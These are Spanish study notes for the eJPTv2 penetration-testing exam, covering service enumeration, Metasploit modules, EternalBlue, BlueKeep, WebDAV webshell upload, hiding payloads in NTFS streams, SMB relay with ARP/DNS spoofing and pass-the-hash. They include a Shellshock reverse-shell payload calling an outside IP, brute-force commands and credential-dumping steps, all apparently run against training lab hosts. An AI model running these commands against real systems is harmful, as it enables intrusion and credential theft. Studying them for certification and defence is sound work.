ftp_version Nos revela info de version del servicio, host… Nos permite mas adelante encontrar vulnerabilidades a esas versiones
ftp_login Realiza un ataque de fuerza bruta con una wordlist PASS_FILE,
USER_FILE, STOP_ON_SUCCESS,
VERBOSE,
USER_PASS_FILE…
ftp_anonymous Verifica si nos podemos conectar anonimamente

eJPTv2

1. Interaccion

Puertos UDP –> 137 y 138

Interaccion

ls Listar
cd /ruta Cambiar de directorio
get /archivo Descargar un archivo a nuestro host local
put /archivo Subir un archivo al host smb
recurse ON
prompt OFF
Dos parametros que se ponen antes de subir/descargar carpetas de forma recursiva.

Enciende el recursivo para la carpeta
Apaga la confirmacion de subida/descarga de cada archivo
mget * Descargar todos los archivos del recurso compartido
mput * Subir todos los archivos de nuestra carpeta al smb

eJPTv2

2. Nmap Scripts Nse

smb-os-discovery

smb-protocols

smb-security-mode

smb-enum-sessions (–script-args smbusername=<USER>,smbpassword=<PASS>)

smb-enum-shares (–script-args smbusername=<USER>,smbpassword=<PASS>)

smb-enum-shares,smb-ls (–script-args smbusername=<USER>,smbpassword=<PASS>)

smb-enum-users (–script-args smbusername=<USER>,smbpassword=<PASS>)

smb-server-stats (–script-args smbusername=<USER>,smbpassword=<PASS>)

smb-enum-domains (–script-args smbusername=<USER>,smbpassword=<PASS>)

smb-enum-groups (–script-args smbusername=<USER>,smbpassword=<PASS>)

smb-enum-services (–script-args smbusername=<USER>,smbpassword=<PASS>)

eJPTv2

3. MSF Enum

[[1. MSF Enum Generico]]

Modulos

search type:auxiliary name:smb

Modulo Explicacion OPTIONS IMPORTANTES
smb_version Nos revela info de version del servicio, host… Nos permite mas adelante encontrar vulnerabilidades a esas versiones

Nos puede dar mal los banners del OS, los que estan bien vienen entre ()
smb_enumusers Enumera los usuarios smb
smb_login Realiza fuerza bruta para conseguir usuarios y contraseñas
smb_enumshares Enumera los recursos compartidos SHOWFILES=TRUE : nos muestra los archivos de los recursos compartidos
windows/smb/psexec Conexion al target mediante psexec
Se obtiene un Meterpreter

eJPTv2

4. Smbclient, Smbmap Y Rpcclient

Smbclient

smbclient -L \\IP\ -U usuario Nos lista (-L) los recursos compartidos
smbclient -L -N \\IP\ Nos lista (-L) los recursos compartidos como usuario anonimo (-N)
smbclient \\IP\NOMBRE_RECURSO_COMPARTIDO -U usuario Acceder al recurso compartido

Rpcclient

Comando Explicacion
rpcclient IP/hostname.dominio -U dominio/usuario-anonymous Conectarse a smb mediante usuario o anonimo
nmblookup -A hostname.dominio/IP Enumerar informacion del SMB host devolviendo nombres NetBIOS

eJPTv2

1. MSF Enum

[[1. MSF Enum Generico]]

Modulos

Auxiliares

search type:auxiliary name:http

Modulo Explicacion OPTIONS IMPORTANTES
http_version Nos revela info de version del servicio, host… Nos permite mas adelante encontrar vulnerabilidades a esas versiones PORT 80 o 443
SSL fasle o true
http_header Nos revela los hearders de la web

Se puede cambiar a GET
http_put Verifica si se puedan hacer puts o deletes poniendo un archivo cualquiera

ACTION: put o delete
FILEDATA archivo,
PATH,
ACTION
robots_txt Nos revela el contenido del robots.txt PATH /,
VHOST nombre.domio.algo
dir_scanner Realiza un fuzzing de directorios

Nos interesan los codigos:
- 200
- 301: son redirecciones
- 401: mirar si existen
DICCIONARY, PATH
files_dir Reliza un fuzzing de archivos de la web con sus extensiones y recursos EXT,
PATH
apache_userdir_enum Enumera usuarios validos del servidor apache mediante una wordlist USER_FILE
http_login Realiza una fuerza bruta de usuarios y contraseñas en una ruta la cual pida credenciales (ej. /secure que tiene un form de autenticacion) AUTH_URI /ruta,
BRUTEFORCE_SPEED <1-5>,
PASS_FILE,
USER_FILE,
VERBOSE
robots.txt Mirar si tiene /robots.txt TARGETURI
brute_dirs Fuzzing directorios web TARGETURI
WORDLIST
iis_webdav_upload_asp Subir archivo asp al WebDAV HTTPPASSWORD
HTTPUSERNAME
PATH /RUTA/ARCHIVO.ASP

eJPTv2

1. Interactuar

Comando Explicacion
mysql -n IP -u USER -p Nos conectamos a una bbdd SQL remota (-n)
COMANDOS INTERNOS
show databases; Muestra bases de datos
use database; Usa base de datos dada
show tables; Muestra tablas de la base de datos
select * from table (where campo == “algo”) Muestra todos los campos de la tabla (que coincidan con)

eJPTv2

2. MSF Enum

[[1. MSF Enum Generico]]

Modulos

Modulos auxiliares

search type:auxiliary name:mysql

Modulo Explicacion OPTIONS IMPORTANTES
mysql_version Nos revela info de version del servicio, host… Nos permite mas adelante encontrar vulnerabilidades a esas versiones
mysql_login Realiza una fuerza bruta

El usuario admin por defaul es: root
USERNAME root,
PASS_FILE,
STOP_ON_SUCCESS,
VERBOSE
mysql_enum Enumera las databases

/admin/ : esto significa que es un modulo que requiere de privilegios admin
USERNAME,
PASSWORD
mysql_sql Ejecuta sql queries

CAMPO “SQL” se pondra la querie que se ejecutara. Tipo: show databases;
select version();
use NOMBRE_TABLE;
select * from TABLE (where CAMPO == “algo”)

/admin: requiere de privilegios admin
SQL,
USERNAME,
PASSWORD
mysql_schemadump Nos da todas las bbdd, tablas… USERNAME,
PASSWORD
mysql_file_enum Pasado un archivo con nombres de archivos, verifica si existen en el servidor SQL FILE_LIST rutas_archivos.txt
mysql_hashdump Hace un volcado de hashes
mysql_writable_dirs Encuentra los directorios que son escribibles DIR_LIST paths.txt

eJPTv2

1. Interactuae

Comando Explicacion
ssh username@IP Iniciar sesion con usuario y contraseña
ssh username@IP -i /ruta/pubkey Iniciar sesion con clave publica

La pubkey suele tener esta ruta: ~/.ssh/id_rsa.pub

eJPTv2

2. MSF Enum

[[1. MSF Enum Generico]]

Modulos

Auxiliares

search type:auxiliary name:ssh

Modulo Explicacion OPTIONS IMPORTANTES
ssh_verion Nos revela info de version del servicio, host… Nos permite mas adelante encontrar vulnerabilidades a esas versiones
ssh_enumusers Enumerar users a partir de una wordlist USER_FILE
ssh_login Realiza una fuerza bruta

Si consigue unas credenciales validas abre una sesion ssh interactiva:

- Ctl C para parar el modulo y volver a msf
- sessions : para ver las sesiones abiertas
- sessions N: abrir esa sesion en concreto
- /bin/bash -i: dentro de la conexion ssh para que se vea mas como una terminal
USER_FILE,
PASS_FILE
ssh_login_pubkey Lo mismo que _login solo que cuando te pide una clave publica en vez de una contraseña

La pubkey suele tener esta ruta: ~/.ssh/id_rsa.pub

eJPTv2

1. Interaccion

PUERTO –> 25/TCP (no ssl) 465 y 586 (ssl)

Comando Explicacion
netcat hostname.dominio/IP PUERTO Se conecta a SMTP
telnet hostname.dominio/IP PUERTO Se conecta a SMTP
COMANDOS INTERNOS
VRFY nombre_usr Verifica si existe ese usuario
EHLO nombre_usr Nos mustra comandos y capacidades disponibles
MAIL FROM:nombre_cualquier@dominio_cualquier Indica que se va a mandar un email siendo emisor este
RCPT TO: usuario Se indica el receptor
DATA
Subject: asunto
Comienza a escribir el cuerpo hasta que en una linea vacia haya un “.” y se de enter
sendmail -f usuario_cualquiera@dominio_cualquiera -t usuario_dominio -u “Asunto” -m “Cuerpo” -s hostname_smtp -o tls=no Enviar un mail sin ssl

eJPTv2

2. SMTP

PUERTO –> 25/TCP (no ssl) 465 y 586 (ssl)

[[1. MSF Enum Generico]]

Modulos

Auxiliares

Modulo Explicacion OPTIONS IMPORTANTES
smtp_version Nos revela info de version del servicio, host… Nos permite mas adelante encontrar vulnerabilidades a esas versiones
smtp_enum Enumera usuarios a partir de una wordlist USER_FILE

eJPTv2

1. Interaccion

xfreerdp /u:<USER> /p:<PASS> /v:<IP_OBJETIVO>

Obtenemso una GUI

![[Pasted image 20260317192332.png]]

eJPTv2

2. MSF Enum

Modulos

Auxiliares

rdp_scanner Mira si RDP esta activo en el destino

eJPTv2

1. Interactuar

Nos permite conexion remota mediante una shell

Comandos Explicacion
[[2. Crackmapexec|crackmapexec]] winrm <OBJETIVO> -u <USER> -p <PASS> Comprobar que las creds funcionan
[[2. Crackmapexec|crackmapexec]] winrm <OBJETIVO> -u <USER> -p <PASS> -e <COMANDO> Ejecutar comando remoto
[[2. Crackmapexec|crackmapexec]] winrm <OBJETIVO> -u /wordlist -p /wordlist Fuerza bruta
[[3. Enum Servicios/9. WinRM (5985)/2. MSF Enum|MSF]] –> winrm_login
evil-winrm -u <USER> -p <PASS | Hash NTML> -i <OBJETIVO> Loggeaerse

eJPTv2

2. MSF Enum

Modulos

Auxiliares

Modulo Explicacion
winrm_login Fuerza bruta
winrm_auth_methods Enumera metodos de autenticacion: hash NTLM (Negotiate protocol), creds (basic)…
winrm_script_exec Ejecutar comandos o abrir una shell meterpreter

set FORCE_VBS true

set CMD <COMANDO> –> ejecutar comandos

eJPTv2

Indice De Servicios

[[1. MSF Enum Generico]]

  1. FTP

    1. [[3. Enum Servicios/7. SMTP (25 - 465 o 586)/1. Interaccion|1. Interaccion]]
    2. [[3. Enum Servicios/2. FTP (21)/2. MSF Enum|2. MSF Enum]]
  2. SMB

    1. [[3. Enum Servicios/3. SMB (445)/1. Interaccion |1. Interaccion]]
    2. [[2. Nmap Scripts NSE]]
    3. [[3. MSF Enum]]
    4. [[4. Smbclient, smbmap y rpcclient]]
  3. WebServer

    1. [[3. Enum Servicios/4. WebServer (80-443)/1. MSF Enum|1. MSF Enum]]
  4. MySQL

    1. [[3. Enum Servicios/5. MySQL (3306)/1. Interactuar]]
    2. [[3. Enum Servicios/5. MySQL (3306)/2. MSF Enum|2. MSF Enum]]
  5. SSH

    1. [[1. Interactuae]]
    2. [[3. Enum Servicios/6. SSH (22)/2. MSF Enum|2. MSF Enum]]
  6. SMTP

    1. [[3. Enum Servicios/7. SMTP (25 - 465 o 586)/1. Interaccion|1. Interaccion]]
    2. [[2. SMTP]]
  7. RDP

    1. [[3. Enum Servicios/8. RDP (3389)/1. Interaccion|1. Interaccion]]
    2. [[3. Enum Servicios/8. RDP (3389)/2. MSF Enum|2. MSF Enum]]
  8. WinRM

    1. [[3. Enum Servicios/9. WinRM (5985)/1. Interactuar|1. Interactuar]]
    2. [[3. Enum Servicios/9. WinRM (5985)/2. MSF Enum|2. MSF Enum]]

eJPTv2

1. MSF Y Searchsploit

MSF Buscar vulns

Busca exploit para vulnerabilidades con MSF

Comandos
search type:exploit name:“NOMBRE_MODULO”

O

search protocolo VERSION
use MODULO
info
show options
set OPTIONS
run

Searchsploit

Comandos Explicacion
searchsploit <PROTOCOLO VERSION> Buscar exploits
searchsploit <PROTOCOLO VERSION> | grep -e “Metasploit” Buscar exploits con modulos en MSF
searsploit -m NUM_ARCHIVO Lo copiamos en la ruta actual
nano NUM_ARCHIVO Editamos el exploit

Mas ejemplos de uso searchsploit

searchsploit -t vsftpd o Buffer Overflow… Saldran los exploits que tenga vsftpd como titulo
searchsploit -e “Windows XP” | grep -e “Microsoft” Exact match
searchsploit remote windows smb -w | grep -e “EternalBlue” En vez de paths nos da los enlaces a exploit-db.com

eJPTv2

2. Exploit Db Y Google

Es el searchsploit web –> https://exploit-db.com

![[Pasted image 20260318164205.png]]

eJPTv2

1. Webdav

Es importante tener en cuenta las extensiones soportadas por el webserver para ejecutar codigo remoto ([[7. gobuster]]):

  • asp
  • aspx
  • config
  • php

WebDAV: extension del protocolo HTTP que permite a los usuarios editar y gestionar archivos remotos en un webserver. Da la funcion de fileserver a un webserver

Requiere de creds ([[1. Fuerza Bruta - Hydra y MSF login]])

Herramientas

davset

  • *davtest: usado para escanear, autenticar y explotar WebDAV
davtest Es como el help, nos da una lista de opciones
davtest -url http://IP/webdav\ -auth USER:PASSWORD\ RESULTADOS:
- Nos dice que files pueden ser cargados, descargados, ejecutados…
- Se crea una cadena aleatoria para esta sesion que se adjunta junto a los archivos que se envian como prueba, esto lo hace para saber si webdav permite subir archivos y cuales se pueden ejecutar
- Verifica las extensiones que nos deja para ejecutar y nos lo marca en SUCCEED. En este caso: .txt, .html y .asp (este ultimo es el importante porque es al que se le puede meter codigo para que se ejecute)
- Nos da un resumen

cadaver

  • cadaver: soporta subida, descarga de archivos por pantalla. Tambien edicion, operaciones copy/move, vreaciones de colecciones, borrado, manipulacion y bloquedo de recursos
cadaver –help
cadaver http://IP/webdav\ Entramos al webdav con las credenciales
ls
put /usr/share/webshell/asp/webshell.asp
Volvemos al navegador en /webdav/ Si refrescamos veremos el webshell.asp y si entramos dentro tendremos nuestro webshell disponible para ejecutar comandos

Ejemplo vulnerando un WebDav con MSF

![[Pasted image 20260317174526.png]]![[Pasted image 20260317174534.png]]![[Pasted image 20260317174547.png]]![[Pasted image 20260317174603.png]]

eJPTv2

2. Wmap Para Escaneo WEB

Escaneo de vulnerabilidades web que puede ser usado para autoamtizar la enumeracion y app vulnerability

Disponible en MSF como plugin y puede ser cargado directamente en MSF. Integrada en MSF nos permite realizar escaneos

Comandos

Comando Explicacion
service postgresql start
msfconsole
workspace -a wmap
setg RHOST/S IP
load wmap
wmap_ Si le damos tab nos saldran todas las opciones de comandos wmap
wmap_sites -h
wmap_sites -a IP Añade un sitio web a la base de datos WMAP
wmap_targets -h
wmap_targets -t http://IP Define esa URL como objetivo
wmap_sites -l Lista los sitios web añadidos
wmap_targets -l Lista los objetivos añadidos
wmap_run -t Muestra y ejecuta todos los modulos auxiliares utiles para enumerar el website
wmap_run -e Corre los modulos
wmap_vulns -h
wmap_vulns -l Lista las vulnerabilidades encontradas por WMAP

eJPTv2

3. Httpfileserver 2.3.x Rejetto

Rejetto tiene modulo MSF

![[Pasted image 20260317201011.png]]

eJPTv2

1. Explotando MS17 010 SMB Vuln (eternalblue)

Afecta a: Windows Vista / 7 / 2008 / 8.1 / 2012 / 10 / 2016

Explotacion manual con AutoBlue

https://github.com/3ndG4ms/AutoBlue-MS17-010

Comando Explicacion
sudo nmap -sV -O -p445 IP
sudo nmap -sV –script=smb-vuln-ms17-010 -p445 IP Nos dice si la version SMB es vulnerable
git clone URL
pip install -r requirements.txt
cd shellcode
chmod +x ./shell_prep.sh
./shell_prep.sh Es un script en el cual podemos configurar dinamicamente el shell que queremos enviar al ejecutar AutoBlue
Y
LHOST IP
LPORT N
1 (shell de comandos normal)
1 (payload sin estado)
Se crean dos archivos .bin, uno para x64 y otro para x86
nc -nlvp N En otra terminal abrimos un listener
cd /AutoBlue Exactamente a la version de nuestro target, en nuestro caso la 2008
chmod +x eternalblue_exploit.py
python eternalblue_exploit.py shellcode/sc_x64.bin Ejecutamos el script python con el shell que creamos previamente
Volvemos al listener y tendremos nuestra shell

Explotacion automatica con MSF

Comando Explicacion
msfconsole
search eternalblue
use /auxiliary/scanner/ Para ver si es vulnerable el objetivo
set OPTIONS
run
use /exploit/…/eternalblue
set OPTIONS
run Nos da una shell meterpreter

eJPTv2

2. Login Psexec

La autenticacion es via SMB

Se necesita –> user + PASSWORD/HASH

Manual

imapcket-psexec <USER>@<TARGET> cmd.exe

MSF

Comandos Explicacion
msfconsole -q
search windows/smb/psexec
set OPTIONS
run Obtenemos Meterpreter

eJPTv2

1. Explotando Windows Cve 2019 0708 RDP (bluekeep)

Sistemas vulnerables: Windows XP / Vista / 7 / 2008 & R2

Comandos LAB

Comando Explicacion
sudo nmap -sS -Pn -p3389 -T4 IP
msfconsole
use /auxiliary/scanner/…bluekeep
set OPTIONS
run
use /exploit/…/bluekeep
set OPTIONS
show target Hay que elegir el del hipervisor que estemos usando porque sino dara error
set target N
run

eJPTv2

2. Explotando RDP

Se necesitan credenciales validas para conectarse via rdp y obtener una GUI

Comandos Explicacion
msfconsole -q
search rdp_scanner Verifica que RDP esta activo en el objetivo
use
set OPTIONS
run
[[1. Fuerza Bruta - Hydra y MSF login|hydra]] -L /wordlist -P /wordlist rdp://<OBJETIVO> -s <PUERTO> Fuerza bruta par conseguir creds
xfreerdp /u:<USER> /p:<PASS> /v:<IP_OBJETIVO>

![[Pasted image 20260317192325.png]]

eJPTv2

1. Explotando Winrm

Comandos Explicacion
[[2. Crackmapexec|crackmapexec]] winrm <OBJETIVO> -u <USER> -p <PASS> Comprobar que las creds funcionan
[[2. Crackmapexec|crackmapexec]] winrm <OBJETIVO> -u <USER> -p <PASS> -e <COMANDO> Ejecutar comando remoto
[[2. Crackmapexec|crackmapexec]] winrm <OBJETIVO> -u /wordlist -p /wordlist Fuerza bruta
evil-winrm -u <USER> -p <PASS | Hash NTML> -i <OBJETIVO> Loggeaerse
winrm_script_exec Ejecutar comandos o abrir una shell meterpreter

set FORCE_VBS true –> crear shell

set CMD <COMANDO> –> ejecutar comandos
msfconsole
search winr_cmd Loggearse desde MSF

eJPTv2

1. Alternate Data Streams

Es un NTFS (New Technology File System) diseñado para compatibilidad con MacOS. Todo archivo creado en formato NTFS tendra 2 diferentes forks/streams:

  • Data Stream: default stram que contiene los datos del archivo
  • Resouce Stream: contiene la metadata

Se puede usar para esconder codigo malicioso o ejecutables en archivos legitimos para evadir la deteccion

Esto se puede hacer guardando el codigo malicioso en el Resource Stream (metadata) de un archivo legitimo

Se suele usar para evadir firmas basicas de AVs y escaneos estaticos de prueba

Ejemplo

![[Pasted image 20260317203441.png]]

Lo guardamos. Miramos los metadatos (Resource Stream)

![[Pasted image 20260317203451.png]]

Borramos el .txt y ahora lo creamos de la siguiente forma: ![[Pasted image 20260317203459.png]]

El editor realmente esta abriendo hide.txt y solo se muestra que se ha creado test.txt Guardamos y cerramos. Ahora abrimos test.txt que estara vacio

![[Pasted image 20260317203515.png]]

Normalmente en el archivo legitimo se le coloca contenido legitimo. Ejemplo, si es un archivo de logs, meteriamos logs:

![[Pasted image 20260317203523.png]]

Guardamos y cerramos

![[Pasted image 20260317203637.png]]

Como vemos no esta hide.txt. Para verlo:

![[Pasted image 20260317203531.png]]

Podriamos meter detras de un archivo .pdf o .exe un WinPEAS por ejemplo

Si fuera un .exe lo que hubieramos metido, se iniciaria asi:

![[Pasted image 20260317203539.png]]

En nuestro caso es un .txt por eso salta el error

SI NOS DA ERROR AL EJECUTAR EL .EXE

Abrimos cmd con privs y creamos un link entre un ejecutable y el nuestro

![[Pasted image 20260317203554.png]]

Si despues ejecutamos el ejecutable se ejecutara nuestro archivo escondido:

![[Pasted image 20260317203600.png]]

eJPTv2

1. Exploiting Bash Cve 2014 6271 (shellshock Apache 2.4.6)

Apache webserver esta configurado para correr scripts CGI o .sh scripts

Comandos LAB

Comando Explicacion
nmap -Pn -sS -sV -T4 IP Vemos que tiene un http por el puerto 80
Miramos la web en el navegador
Vemos que tiene lo que parece ser un trozo de texto dinamico, con otra fuente respecto al resto de la interfaz… Parece un CGI script
Ctl U Para ver el codigo fuente y vemos un apartado <script> y dentro un GET “archivo.cgi” que lo envia cada 1s
En el navegador: IP/archivo.cgi Vemos que nos sale lo mismo que salia en la interfaz principal
nmap -Pn -sS -sV -T4 –script=http-shellshock –script-args “http-shellshoc.uri=gettime.cgi” Nos dice que es VULNERABLE

Explotacion manual con Burp Suite

Comando Explicacion
Abrimos burp suite con intercept on
Recargamos IP/gettime.cgi Esto hara que nos salga en el Burp lo que estamos enviando al servidor como clientes
Lo mandamos al Repeater Para hacer mas consultas sin tener que estar recargando la pagina o yendo para atras en el navegador
User-Agent: Borramos su valor
nc -nlvp LPORT
() { :; }; echo; echo; /bin/bash -c ‘COMANDO’ COMANDO: /bin/bash -i >& /dev/tcp/192.101.85.2/1234 0>&1
Lo enviamos en Burp Obtendremos una reverse shell en el listener

Explotaciona automatica con MSF

Comando Explicacion
service postgrestql start
search shellsock Tiene un modulo auxiliar y un modulo exploit
use auxiliar
set OPTIONS
run Es vulnerable
use exploit
set OPTIONS RHOST
RPORT
TARGETURI /gettime.cgi
run Obtenemos un sesion Meterpreter

eJPTv2

1. Netbios Y SMB

NetBIOS

Es una API y un conjunto de protocolos de red que proveen comunicacion de servicios sobre una red local. Es usado prinicipalmente para permitir que las aplicaciones de diferentes maquinas encutren e interactuen entre ellas en la red

Funciones:

  • Name Service (NetBIOS-NS): permite a las maquinas registrarse, desregistrarse y resolver nombres en una red local
  • Datagram Service (NetBIOS-DGM): aporta comunicacion inalambrica y broadcasting
  • Session Service (NetBIOS-SSN): proporciona comunicacion orientada a conexion para transferencias mas confiables

SMB

Protocolo de comparticion de archivos que permite a las maquinas de una red compartir archivos, impresoras y otros recursos

Versiones:

  • SMB 1.0: la version original que tiene vulnerabilidades. Usado por sistemas que usaban Windows XP
  • SMB 2.0/2.1: introducido con Windows Vista/Windows Server 2008 ofreciendo una mejora de rendimiento y seguridad
  • SMB 3.0: introducido con Windows 8/Windows Server 2012 que anade caracteristicas de encriptacion, multichannel support y mejoras para la virtualizacion

Comandos

nmap -Pn -sS -sV -T4 demo.ine.local Vemos un 139 NetBIOS (Session Service) y un 445 SMB
nbtscan Es un scan de redes para NetBIOS. Sin opciones nos dara un help
nbtscan IP_red/mascara Nos podria decir los nombres NetBIOS de la red (No funciona en este caso)
nmblookup -A IP Realiza un escaneo NetBIOS a esa IP
nmap -sU -p137 demo.ine.local Nos da open|filtered: no sabemos exactamente su estado
nmap -Pn -n -sU -sV -T4 –script=nbstat.nse -p137 demo.ine.local No nos da nada como el nombre de este sistema

Vamos a proceder con el SMB enumeration

Comandos Explicacion
nmap -Pn -sV -T4 -p139,445 demo.ine.local No nos dice nada exacto pero nos da que es un Windows Server. El siguiente paso sera ver que version SMB soporta
nmap -p445 –script smb-protocols demo.ine.local Vemos que tenemos un SMBv1 que es dangerous y luego nos salen otras versiones como 2.0.2, 2.1, 3.0 y 3.0.2
nmap -p445 —scritp smb-security-mode demo.ine.local Ahora hemos querido mirar el nivel de seguridad de SMB

Podemos ver nmap uso al usuario guest para descubrir que:
Nada interesante
smbclient -L demo.ine.local -L significa cuenta anonima, cuando nos pida pass solo le damos a enter
Enumera los recursos compartidos si esta permitido, en este caso lo esta
En la salida podemos ver que se esta usando SMBv1
Ya que tenemos acceso anonimo podemos realizar un userenum para smb
nmap -p445 –script smb-enum-users demo.ine.local Encontramos a:
-admin
-Administrator
-Guest
-root

Veremos sus RID y una flag que nos dice si es una cuenta normal, administrativa o para guests
Ahora podemos hacer fuerza bruta sobre estos usuarios
Nos creamos un archivo con los nombres de estos usuarios
hydra -L users.txt -P /usr/share/metasploit-framework/data/wordlist/unix_passwords.txt smb demo.ine.local Encontramos varias creds
Nos interesa la de adminsitrator
imapcket-psexec [email protected] Nos pedira la contrasena y tendremos acceso
Podemos usar tambien el module de MSF Psexec
msfconsole -q
search psexec
use /exploit/windows/smb/psexec
set rhosts demo.ine.local
set smbuser adminsitrator
set smbpass password
set payload windows/x64/meterpreter/reverse_tcp
run
net view IP_demo1 Con esto veremos los shares de demo1.ine.local. Es un comando de Windows
net use D: \\IP_demo1\Documents
net use K: \\IP_demo1\K$
Esto lo hacemos para poder navegar por ellos
dir D:
dir K:

eJPTv2

2. Snmp

Simple Network Management Protocol es un protocolo para monitorizacion y gestion de dispositivos de red como routers, switches, servers, impresoras…

SNMP es un protocolo de capa de aplicacion que tipicamente usa UDP para el transporte. Tiene 3 principales componentes:

  • SNMP Manager: sistema responsable de consultar e interactuar con agentes SNMP en dispositivos de red
  • SNMP Agent: sw que corre en un dispositivo de red que responde a consultas SNMP
  • Management Information Base (MIB): una bbdd jerarquica que define la estructura de los datos disponibles de SNMP. Cada pieza tiene su OID u Object Identifier unico

Versiones SNMP:

  • SNMPv1: la primera version que usa strings (esencialmente passwords) para la autenticacion
  • SNMPv2c: una mejora de la primera que tiene soporte a transferencia voluminosas pero se sigue confiando en cadenas comunitarias o community strings para autenticacion
  • SNMPv3: Introduce caracteristicas de seguridad incluida la encriptacion, integridad de mensajes y autenticacion basada en usuario

Puerto –> 161/UDP (para queries) y 162/UDP (para SNMP notifications)

SNMP Enumeration

La enumeracion SNMP involucra que el querying SNMP este habilitado en los dispositivos para recopilar informacion para identificar posibles vulns, malas configuraciones o puntos de ataque

Objetivos principales de la enumeracion SNMP:

  • Identificar SNMP-Enabled Device: determinar los dispositivos de la red que tienen SNMP habilitado y si son vulnerables a ataques de exfiltracion de informacion
  • Extraer informacion del sistema: recoger informacion relacionada con el sistema como nombre de los dispositivos, SOs, versiones sw, interfaces de red y mas
  • Identificar SNMP Community Strings o cadenas comunitarias: testear las default y weak community strings que nos pueden dar autorizacion a informacion del dispositivo
  • Recuperar informacion de la red: recopilar informacion sobre tablas routing, interfaces de red, IPs y mas detalles especificos de la red
  • Recoger informacion de usuarios y grupos: a veces SNMP nos puede devolver informacion sobre las cuentas y permisos de acceso
  • Identificar servicios y aplicaciones: Encontrar que servicios y aplicaciones estan corriendo en los objetivos para aumentar los vectores de ataques

Comandos

Comandos Explicacion
nmap -sU -sV -p161 demo.ine.local Esta abierto y version 1
Podemos realizar un brute force para identificar community Strings

Para encontrar el wordlist que usaremos:

ls -la /usr/share/nmap/nselib/data/ | grep -e “snmp”
snmpcommunities.lst
nmap -sU -p161 –script snmp-brute deno.ine.local Vemos que hemos encontrado 3 community strings: public, private y secret
Ahora podemos usar una nueva herramienta que nos dara mas informacion ahora que sabemos las community strings
snmpwalk -v 1 -c public demo.ine.local Nos saldra muchisima informacion y la mayoria no sera ni legible
nmap -sU -p161 –script snmp-* demo.ine.local > snmp_info Usamos todos los scripts de nmap para ver si encontramos algo legible
cat snmp_info Vemos que tenemos toda la informacion de antes pero ahora en un formato legible

Info que obtenemos:
- Sw instalado
- Network info
- Community String por brute force
- Servicios que corren en el sistema Windows
- Interfaces de red
- Users accounts
Vamos a usar estos usuarios para autenticarnos
hydra -l administrator -P /usr/share/metasploit-framework/data/wordlist/unix_passwords.txt demo.ine.local smb
Ahora nos podriamos autenticarnos un psexec

eJPTv2

3. SMB Relay

Un ataque SMB Relay es un ataque de red donde el atacante intercepta el trafico SMB, lo manipula y retransmite la informacion a un servidor legitimo para ganar acceso no autorizado a recursos o realizar acciones maliciosas

Como funciona

  • Interceptacion: el atacante realiza un man in the middle entre el cliente y el servidor. Puede ser hecho por muchas tecnicas como ARP Spoofing, DNS poisoning o creando un SMB server falso

  • Capturar la autenticacion: cuando un cliente se conecta a un servidor legitimo, SMB envia una data de autenticacion. El atacante la captura esta puede incluir hasta el hash NTLM

  • Retransmitir la informacion al servidor legitimo: en vez de desencriptar el hash NTLM el atacante envia la informacion al otro servidor que confia el origen. Esto permite al atacante impersonar el usuario del que capturo el hash

  • Ganar acceso: si el envio de informacion es correcto, el atacante gana acceso al recurso en el servidor que puede incluir archivos sensibles, bases de datos o privilegios administrativos. Este acceso puede llevar a un lateral movement dentro de la red comprometiendo otros sistemas

Comandos

Escenario

![[Pasted image 20260227203158.png]]

Comando Explicacion
ifconfig
msfconsole -q
search smb_relay
use smb_relay
set srvhost NUESTRA_IP
set LHOST NUESTRA_IP
set smbhost IP_SMBSERVER_DADA
Abrimos una nueva terminal antes de iniciar el modulo para hacer un spoofing en la red
echo “NUESTRA_IP *.sportsfoo.com” > dns Con esto diremos que nuestra IP se resuelva como cualquier dominio o subdominio *.sporsfoo
Ahora haremos el DNS spoof
dnsspoof -i eth1 -f dns
Ahora podemos establecer el MITM attack usando ARP spoofing y nuesto objetivo es envenenar entre el CLIENT y el default gateway

Esto nos permite manipular el trafico usando DNS spoof
Abrimos una nueva terminal
echo 1 > /proc/sys/net/ipv4/ip_forward Habilitamos el ip forwarding
En este misma terminal haremos el ARP spoof
arpspoof -i eth1 -t IP_CLIENT IP_GATEWAY
Abrimos una nueva terminal para hacer el ARP spoof attack a la inversa
arpspoof -i eth1 -t IP_GATEWAY IP_CLIENT Nos salen conexiones ya que cada vez que el CLIENT realice una conexion SMB, el DNS spoof alineado con el ARP spoof olvida la respues DNS diciendo al sistema que el DNS address que esta buscando se resuelve con la IP de la Kali
Volvemos al MSF y ahora si lo corremos
run Se ejecuta en segundo plano
jobs Veremos la tarea
Ahora vamos a la terminal del DNS spoof
Podemos ver como el CLIENT intenta resolver fileserver.sportsfoo.com por ejemplo y nos lo manda a nostros
sessions Tendremos una sesion Meterpreter

Que esta pasando exactamente:

Cada vez que una conexion SMB todas vienen a nosotros porque realizamos un DNS spoofing y nosotros redirigimos la solicitud. Asi que cada vez que haya un conexion el SMB Relay module de MSF grabara el NTLM hash y lo usara automaticamente abrir una sesion Meterpreter en la IP .10 que es la del DC o domain controller

El ARP Spoofing sirve para lo siguiente:

Porque el DNS spoofing por sí solo no siempre es suficiente. En una red real:

  • La víctima ya tiene un gateway configurado

  • Ya tiene un DNS configurado

  • El tráfico va directo al router Tú necesitas colocarte en medio del tráfico. Ahí entra ARP spoofing. ARP spoofing permite:

    Convertirte en Man-In-The-Middle (MITM)

    Le dices a la víctima: |> “Oye, el gateway soy yo”

    Y le dices al gateway: |> “Oye, la víctima soy yo” Resultado: Todo el tráfico pasa por tu máquina.

eJPTv2

1. Pth

Con modulo MSF

Haremos un PTH al servicio SMB que requiere credenciales

Tendremos que tener descargado kiwi

Comando Explicacion
service postgresql start
msfconsole
search badblue
use /…/badblue-passthru
set OPTIONS
run Obtendremos sesion Meterpreter
pgrep lsass Busca procesos cuyo nombre coincida con lsass y devuelve sus PID. lsass es el Local Security Authority Subsystem Service en Windows:
- Gestiona autenticación de usuarios.
- Mantiene credenciales en memoria.
- Es el proceso que se intenta dumpear en post-explotación
migrate PID
load kiwi
lsa_dump_sam Obtendremos los NTLM de los usuario
hashdump Nos devuelve user::hash_LM::hashNTLM
bg
search psexec
use /exploit/windows/smb/psexec
set OPTIONS SMBUser “USUARIO”
SMBPass “NL:NTLM”
show target Tendremos que elegir uno e ir probando porque pueden fallar
set target “NOMBRE”
run

Con crackmapexec

Comando Explicacion
crackmapexec protocolo(smb) IP -u USER -H “NTLM” Interactua con el protocolo destino y nos dice si las credenciales son validas
crackmapexec protocolo(smb) IP -u USER -H “NTLM” -x “COMANDO(whoami)” Interactua con el protocolo, se loggea y realiza el comando

eJPTv2

Inidice Comandos

  1. Buscar Vulns

    1. [[1. MSF y Searchsploit|Msf y Searchsploit para buscar vulns]]
